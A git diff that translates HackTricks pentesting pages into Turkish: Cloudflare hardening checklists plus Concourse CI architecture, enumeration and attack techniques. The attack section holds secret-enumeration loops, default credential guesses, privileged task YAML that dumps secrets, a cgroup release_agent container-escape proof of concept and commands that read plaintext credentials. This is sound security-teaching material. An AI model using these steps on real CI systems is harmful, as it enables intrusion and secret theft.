ise, önleme mekanizması olarak bu yolda bir **rate limit** ekleyin. +- **WAF**'daki **Tools** bölümünden IP adreslerini, IP aralıklarını, ülkeleri veya ASN'leri **beyaz listeye alabilirsiniz**. +- **Managed rules**'ın da zafiyet istismarlarını önlemeye yardımcı olup olmadığını kontrol edin. +- **Tools** bölümünde belirli IP'lere ve **kullanıcı ajanlarına** **engelleme veya meydan okuma** yapabilirsiniz. +- DDoS'da bazı kuralları **daha kısıtlayıcı hale getirmek için geçersiz kılabilirsiniz**. +- **Settings**: **Security Level**'ı **Yüksek** ve **Under Attack** olarak ayarlayın eğer saldırı altındaysanız ve **Browser Integrity Check etkin** ise. +- Cloudflare Domains -> Analytics -> Security -> **rate limit**'in etkin olup olmadığını kontrol et +- Cloudflare Domains -> Security -> Events -> **tespit edilen kötü niyetli olaylar** için kontrol et ### Access @@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md ### Speed -_I couldn't find any option related to security_ +_Güvenlikle ilgili herhangi bir seçenek bulamadım_ ### Caching -- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool** +- **`Configuration`** bölümünde **CSAM Scanning Tool**'un etkinleştirilmesini düşünün ### **Workers Routes** -_You should have already checked_ [_cloudflare workers_](./#workers) +_Daha önce_ [_cloudflare workers_](./#workers) _kontrol etmiş olmalısınız_ ### Rules @@ -101,9 +101,9 @@ TODO ### Network -- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled** -- [ ] **`HTTP/3 (with QUIC)`** should be **enabled** -- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled** +- [ ] Eğer **`HTTP/2`** **etkinse**, **`HTTP/2 to Origin`** **etkin** olmalıdır +- [ ] **`HTTP/3 (with QUIC)`** **etkin** olmalıdır +- [ ] Eğer **kullanıcılarınızın** **gizliliği** önemliyse, **`Onion Routing`**'in **etkin** olduğundan emin olun ### **Traffic** @@ -111,7 +111,7 @@ TODO ### Custom Pages -- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode) +- Güvenlikle ilgili bir hata tetiklendiğinde (örneğin bir engelleme, rate limiting veya saldırı altındayım modu) özel sayfaları yapılandırmak isteğe bağlıdır ### Apps @@ -119,8 +119,8 @@ TODO ### Scrape Shield -- [ ] Check **Email Address Obfuscation** is **enabled** -- [ ] Check **Server-side Excludes** is **enabled** +- **Email Address Obfuscation**'ın **etkin** olduğunu kontrol et +- **Server-side Excludes**'ın **etkin** olduğunu kontrol et ### **Zaraz** @@ -131,7 +131,3 @@ TODO TODO {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 491ae7bc1..485f38c47 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,64 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Bir **Cloudflare Zero Trust Network** hesabında bazı **ayarlar ve hizmetler** yapılandırılabilir. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
### Analytics -- [ ] Useful to **get to know the environment** +- [ ] Ortamı **tanımak için** faydalı ### **Gateway** -- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications. - - If used, **policies** could be created to **restrict** the access to malicious sites. - - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. +- [ ] **`Policies`** bölümünde, uygulamalara kimlerin erişebileceğini **DNS**, **ağ** veya **HTTP** isteği ile **kısıtlamak** için politikalar oluşturmak mümkündür. +- Kullanılıyorsa, kötü niyetli sitelere erişimi **kısıtlamak** için **politikalar** oluşturulabilir. +- Bu, **bir geçit kullanılıyorsa** **sadece** geçerlidir, aksi takdirde savunma politikaları oluşturmak için bir neden yoktur. ### Access #### Applications - -On each application: - -- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access. - - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) -- [ ] Check the **available identity providers** and make sure they **aren't too open** -- [ ] In **`Settings`**: - - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) - - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. - - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** - -#### **Access Groups** - -- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow. -- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**. - - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. - -#### Service Auth - -- [ ] Check that all service tokens **expires in 1 year or less** - -#### Tunnels - -TODO - -### My Team - -TODO - -### Logs - -- [ ] You could search for **unexpected actions** from users - -### Settings - -- [ ] Check the **plan type** -- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address** -- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service - -{{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bcf20facf..3a3535e7f 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -1,37 +1,33 @@ -# Concourse Security +# Concourse Güvenliği {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...) +Concourse, ihtiyaç duyduğunuzda (zaman bazlı, bir şey olduğunda...) testleri, eylemleri otomatik olarak çalıştırmak ve görüntüleri oluşturmak için **pipeline'lar** oluşturmanıza olanak tanır. -## Concourse Architecture +## Concourse Mimarisi -Learn how the concourse environment is structured in: +Concourse ortamının nasıl yapılandırıldığını öğrenin: {{#ref}} concourse-architecture.md {{#endref}} -## Concourse Lab +## Concourse Laboratuvarı -Learn how you can run a concourse environment locally to do your own tests in: +Kendi testlerinizi yapmak için bir concourse ortamını yerel olarak nasıl çalıştırabileceğinizi öğrenin: {{#ref}} concourse-lab-creation.md {{#endref}} -## Enumerate & Attack Concourse +## Concourse'u Sayısal Olarak Belirleme ve Saldırı -Learn how you can enumerate the concourse environment and abuse it in: +Concourse ortamını nasıl belirleyip istismar edebileceğinizi öğrenin: {{#ref}} concourse-enumeration-and-attacks.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index d70167906..62baf9451 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -1,42 +1,38 @@ -# Concourse Architecture +# Concourse Mimarisi -## Concourse Architecture +## Concourse Mimarisi {{#include ../../banners/hacktricks-training.md}} -[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html) +[**Concourse belgelerinden ilgili veriler:**](https://concourse-ci.org/internals.html) -### Architecture +### Mimarisi ![](<../../images/image (187).png>) -#### ATC: web UI & build scheduler +#### ATC: web UI & derleme zamanlayıcı -The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). +ATC, Concourse'un kalbidir. **web UI ve API**'yi çalıştırır ve tüm pipeline **zamanlamasından** sorumludur. **PostgreSQL** ile **bağlanır**, bu veritabanını pipeline verilerini (derleme günlükleri dahil) saklamak için kullanır. -The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. +[checker](https://concourse-ci.org/checker.html)'ın sorumluluğu, kaynakların yeni sürümlerini sürekli kontrol etmektir. [scheduler](https://concourse-ci.org/scheduler.html) bir iş için derlemeleri zamanlamaktan sorumludur ve [build tracker](https://concourse-ci.org/build-tracker.html) herhangi bir planlanmış derlemeyi çalıştırmaktan sorumludur. [garbage collector](https://concourse-ci.org/garbage-collector.html) ise kullanılmayan veya eski nesneleri, örneğin konteynerler ve hacimler, kaldırmak için temizlik mekanizmasıdır. -#### TSA: worker registration & forwarding +#### TSA: işçi kaydı & yönlendirme -The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). +TSA, yalnızca [**işçileri**](https://concourse-ci.org/internals.html#architecture-worker) [ATC](https://concourse-ci.org/internals.html#component-atc) ile güvenli bir şekilde **kaydetmek** için kullanılan **özel yapım bir SSH sunucusudur**. -The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer. +TSA, **varsayılan olarak `2222` portunda dinler** ve genellikle [ATC](https://concourse-ci.org/internals.html#component-atc) ile birlikte yer alır ve bir yük dengeleyicinin arkasında bulunur. -The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). +**TSA, SSH bağlantısı üzerinden CLI'yi uygular,** [**bu komutları**](https://concourse-ci.org/internals.html#component-tsa) destekler. -#### Workers +#### İşçiler -In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Görevleri yerine getirmek için Concourse'un bazı işçilere sahip olması gerekir. Bu işçiler, [TSA](https://concourse-ci.org/internals.html#component-tsa) aracılığıyla **kendilerini kaydeder** ve [**Garden**](https://github.com/cloudfoundry-incubator/garden) ve [**Baggageclaim**](https://github.com/concourse/baggageclaim) hizmetlerini çalıştırır. -- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**. -- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**. +- **Garden**: Bu, genellikle **HTTP** üzerinden **port 7777**'de çalışan **Konteyner Yönetim API**'sidir. +- **Baggageclaim**: Bu, genellikle **HTTP** üzerinden **port 7788**'de çalışan **Hacim Yönetim API**'sidir. -## References +## Referanslar - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 4b778a804..19af05e04 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -4,49 +4,47 @@ {{#include ../../banners/hacktricks-training.md}} -### User Roles & Permissions +### Kullanıcı Rolleri & İzinler -Concourse comes with five roles: +Concourse beş rol ile gelir: -- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC. -- **owner**: Team owners can **modify everything within the team**. -- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings. -- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations. -- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines. +- _Concourse_ **Admin**: Bu rol yalnızca **ana takım** (varsayılan başlangıç concourse takımı) sahiplerine verilir. Yöneticiler **diğer takımları yapılandırabilir** (örn.: `fly set-team`, `fly destroy-team`...). Bu rolün izinleri RBAC tarafından etkilenemez. +- **sahip**: Takım sahipleri **takım içindeki her şeyi değiştirebilir**. +- **üye**: Takım üyeleri **takım varlıkları içinde okuyabilir ve yazabilir** ancak takım ayarlarını değiştiremez. +- **pipeline-operator**: Pipeline operatörleri **pipeline işlemleri** gerçekleştirebilir, örneğin derlemeleri tetikleyebilir ve kaynakları sabitleyebilir, ancak pipeline yapılandırmalarını güncelleyemezler. +- **görüntüleyici**: Takım görüntüleyicileri bir takıma ve onun pipeline'larına **"salt okunur" erişime** sahiptir. > [!NOTE] -> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Ayrıca, **sahip, üye, pipeline-operator ve görüntüleyici rollerinin izinleri** RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Bunun hakkında daha fazla bilgi için: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) okuyun. -Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. +Concourse'un **pipeline'ları Takımlar içinde grupladığını** unutmayın. Bu nedenle bir Takıma ait olan kullanıcılar o pipeline'ları yönetebilecek ve **birden fazla Takım** var olabilir. Bir kullanıcı birden fazla Takıma ait olabilir ve her birinde farklı izinlere sahip olabilir. ### Vars & Credential Manager -In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\ -[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ -Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. +YAML yapılandırmalarında değerleri `((_source-name_:_secret-path_._secret-field_))` sözdizimini kullanarak yapılandırabilirsiniz.\ +[Belgelerden:](https://concourse-ci.org/vars.html#var-syntax) **source-name isteğe bağlıdır**, ve atlandığında, [küme genel kimlik bilgisi yöneticisi](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) kullanılacak veya değer [statik olarak](https://concourse-ci.org/vars.html#static-vars) sağlanabilir.\ +**isteğe bağlı \_secret-field**\_ alınan gizli bilgide okunacak bir alanı belirtir. Atlandığında, kimlik bilgisi yöneticisi, alan mevcutsa alınan kimlik bilgisinden 'varsayılan alan' okumayı seçebilir.\ +Ayrıca, _**secret-path**_ ve _**secret-field**_ `.` ve `:` gibi **özel karakterler** içeriyorsa çift tırnak `"..."` ile çevrilebilir. Örneğin, `((source:"my.secret"."field:1"))` _secret-path_ değerini `my.secret` ve _secret-field_ değerini `field:1` olarak ayarlayacaktır. -#### Static Vars - -Static vars can be specified in **tasks steps**: +#### Statik Vars +Statik vars **görev adımlarında** belirtilebilir: ```yaml - task: unit-1.13 - file: booklit/ci/unit.yml - vars: { tag: 1.13 } +file: booklit/ci/unit.yml +vars: { tag: 1.13 } ``` - Or using the following `fly` **arguments**: -- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. -- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. +- `-v` or `--var` `NAME=VALUE` dizesini `VALUE` olarak ayarlar. +- `-y` or `--yaml-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` değişkeninin değeri olarak ayarlar. +- `-i` or `--instance-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` örnek değişkeninin değeri olarak ayarlar. Örnek değişkenleri hakkında daha fazla bilgi için [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) sayfasına bakın. +- `-l` or `--load-vars-from` `FILE` `FILE`'yi yükler, bu dosya değişken adlarını değerlere eşleyen bir YAML belgesidir ve hepsini ayarlar. #### Credential Management -There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Moreover, Concourse supports different credential managers: +Bir **Credential Manager**'ın bir pipeline'da nasıl belirtileceği hakkında farklı yollar vardır, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) adresinden okuyun.\ +Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) - [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) @@ -59,160 +57,151 @@ Moreover, Concourse supports different credential managers: - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. +> Eğer **Concourse'a yazma erişiminiz** varsa, bu gizli bilgileri **sızdırmak için işler oluşturabilirsiniz** çünkü Concourse bunlara erişebilmelidir. ### Concourse Enumeration -In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. +Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplamanız** veya muhtemelen bir `.flyrc` yapılandırma dosyasında bir **kimlik doğrulama token'ı** bulmanız gerekir. #### Login and Current User enum -- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: - - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Get configured **targets**: - - `fly targets` -- Get if the configured **target connection** is still **valid**: - - `fly -t status` -- Get **role** of the user against the indicated target: - - `fly -t userinfo` +- Giriş yapmak için **endpoint**, **takım adı** (varsayılan `main`) ve **kullanıcının ait olduğu takımı** bilmeniz gerekir: +- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` +- Yapılandırılmış **hedefleri** alın: +- `fly targets` +- Yapılandırılmış **hedef bağlantısının** hala **geçerli** olup olmadığını kontrol edin: +- `fly -t status` +- Belirtilen hedefe karşı kullanıcının **rolünü** alın: +- `fly -t userinfo` > [!NOTE] -> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials. +> **API token'ının** varsayılan olarak `$HOME/.flyrc` içinde **kaydedildiğini** unutmayın, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz. #### Teams & Users -- Get a list of the Teams - - `fly -t teams` -- Get roles inside team - - `fly -t get-team -n ` -- Get a list of users - - `fly -t active-users` +- Takımların bir listesini alın +- `fly -t teams` +- Takım içindeki rolleri alın +- `fly -t get-team -n ` +- Kullanıcıların bir listesini alın +- `fly -t active-users` #### Pipelines -- **List** pipelines: - - `fly -t pipelines -a` -- **Get** pipeline yaml (**sensitive information** might be found in the definition): - - `fly -t get-pipeline -p ` -- Get all pipeline **config declared vars** - - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them): - +- **List** pipeline'lar: +- `fly -t pipelines -a` +- **Get** pipeline yaml (**hassas bilgiler** tanımda bulunabilir): +- `fly -t get-pipeline -p ` +- Tüm pipeline **yapılandırma değişkenlerini** alın +- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` +- Kullanılan tüm **pipeline gizli adlarını** alın (bir iş oluşturabilir/değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do - echo $pipename; - fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; - echo ""; +echo $pipename; +fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; +echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` - #### Containers & Workers -- List **workers**: - - `fly -t workers` -- List **containers**: - - `fly -t containers` -- List **builds** (to see what is running): - - `fly -t builds` +- **worker'ları** listele: +- `fly -t workers` +- **container'ları** listele: +- `fly -t containers` +- **build'leri** listele (ne olduğunu görmek için): +- `fly -t builds` -### Concourse Attacks +### Concourse Saldırıları -#### Credentials Brute-Force +#### Kimlik Bilgileri Kaba Kuvvet - admin:admin - test:test -#### Secrets and params enumeration +#### Gizli Bilgiler ve parametrelerin listelenmesi -In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. +Önceki bölümde, pipeline tarafından kullanılan **tüm gizli isimleri ve değişkenleri** nasıl alabileceğinizi gördük. **Değişkenler hassas bilgiler içerebilir** ve **gizli bilgilerin isimleri** daha sonra **çalmaya çalışmak için** faydalı olacaktır. -#### Session inside running or recently run container - -If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: +#### Çalışan veya yakın zamanda çalışmış container içinde oturum +Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **pipeline'ları ve rolleri** listeleyebilir ve sadece `/` **container'ında** bir **oturum açabilirsiniz**: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` +Bu izinlerle şunları yapabilirsiniz: -With these permissions you might be able to: +- **Konteynerin** içindeki **gizli bilgileri çalmak** +- **Düğüm**e **kaçmaya** çalışmak +- **Bulut meta verisi** uç noktasını (poddan ve mümkünse düğümden) saymak/istismar etmek -- **Steal the secrets** inside the **container** -- Try to **escape** to the node -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) - -#### Pipeline Creation/Modification - -If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: +#### Pipeline Oluşturma/Düzenleme +Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **yeni pipeline'lar oluşturabilir/düzenleyebilirsiniz.** Bu örneğe bakın: ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - echo "$SUPER_SECRET" - sleep 1000 - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +echo "$SUPER_SECRET" +sleep 1000 +params: +SUPER_SECRET: ((super.secret)) ``` +Yeni bir pipeline'ın **modifikasyonu/yaratılması** ile şunları yapabileceksiniz: -With the **modification/creation** of a new pipeline you will be able to: +- **Gizli bilgileri çalmak** (onları dışa vurarak veya konteynere girip `env` komutunu çalıştırarak) +- **Düğümden kaçmak** (size yeterli ayrıcalıklar vererek - `privileged: true`) +- **Bulut metadata** uç noktasını listelemek/suistimal etmek (pod'dan ve düğümden) +- Oluşturulan pipeline'ı **silmek** -- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) -- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) -- **Delete** created pipeline - -#### Execute Custom Task - -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): +#### Özel Görev Çalıştırma +Bu, önceki yönteme benzer ancak tamamen yeni bir pipeline'ı modifiye/yaratmak yerine **sadece özel bir görevi çalıştırabilirsiniz** (bu muhtemelen çok daha **gizli** olacaktır): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: - type: registry-image - source: - repository: ubuntu +type: registry-image +source: +repository: ubuntu run: - path: sh - args: - - -cx - - | - env - sleep 1000 +path: sh +args: +- -cx +- | +env +sleep 1000 params: - SUPER_SECRET: ((super.secret)) +SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` +#### Yetkili görevden düğüme kaçış -#### Escaping to the node from privileged task - -In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". - -In the following PoC we are going to use the release_agent to escape with some small modifications: +Önceki bölümlerde **concourse ile yetkili bir görevi nasıl çalıştıracağımızı** gördük. Bu, konteynıra bir docker konteynerindeki yetkili bayrağın sağladığı erişimi tam olarak vermez. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremezsiniz, bu nedenle kaçış daha "karmaşık" olabilir. +Aşağıdaki PoC'de, bazı küçük değişikliklerle kaçış yapmak için release_agent'ı kullanacağız: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - > [!WARNING] -> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node +> Fark etmiş olabileceğiniz gibi, bu sadece bir [**normal release_agent kaçışı**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) ve sadece noddaki cmd'nin yolunu değiştirmektedir. -#### Escaping to the node from a Worker container - -A regular release_agent escape with a minor modification is enough for this: +#### Bir Worker konteynerinden node'a kaçış +Bu durum için küçük bir değişiklikle normal bir release_agent kaçışı yeterlidir: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` +#### Web konteynerinden node'a kaçış -#### Escaping to the node from the Web container - -Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). - -However, it stores **local credentials in clear text**: +Web konteynerinde bazı savunmalar devre dışı bırakılmış olsa bile, **yaygın ayrıcalıklı bir konteyner olarak çalışmıyor** (örneğin, **mount** yapamazsınız ve **yetkiler** çok **sınırlıdır**, bu nedenle konteynerden kaçmanın kolay yolları işe yaramaz). +Ancak, **yerel kimlik bilgilerini düz metin olarak** saklar: ```bash cat /concourse-auth/local-users test:test @@ -319,11 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` +Bu kimlik bilgilerini **web sunucusuna giriş yapmak** ve **yetkili bir konteyner oluşturup düğümden kaçmak** için kullanabilirsiniz. -You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**. - -In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info): - +Ortamda ayrıca concourse'un kullandığı **postgresql** örneğine erişim bilgilerini (adres, **kullanıcı adı**, **şifre** ve veritabanı gibi diğer bilgiler) bulabilirsiniz: ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -344,39 +327,35 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` - -#### Abusing Garden Service - Not a real Attack +#### Garden Servisini Kötüye Kullanma - Gerçek Bir Saldırı Değil > [!WARNING] -> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before +> Bu, hizmet hakkında bazı ilginç notlardır, ancak yalnızca localhost'ta dinlediği için, bu notlar daha önce sömürdüğümüz herhangi bir etkiyi sunmayacaktır. -By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections: +Varsayılan olarak, her concourse işçisi 7777 numaralı portta bir [**Garden**](https://github.com/cloudfoundry/garden) hizmeti çalıştıracaktır. Bu hizmet, işçiye **ne yapması gerektiğini** belirtmek için Web yöneticisi tarafından kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var: -- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker. -- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service. - -Concourse workers run with high container privileges: +- Sadece **yerel olarak** (127..0.0.1) **açık** ve bence işçi, özel SSH hizmeti 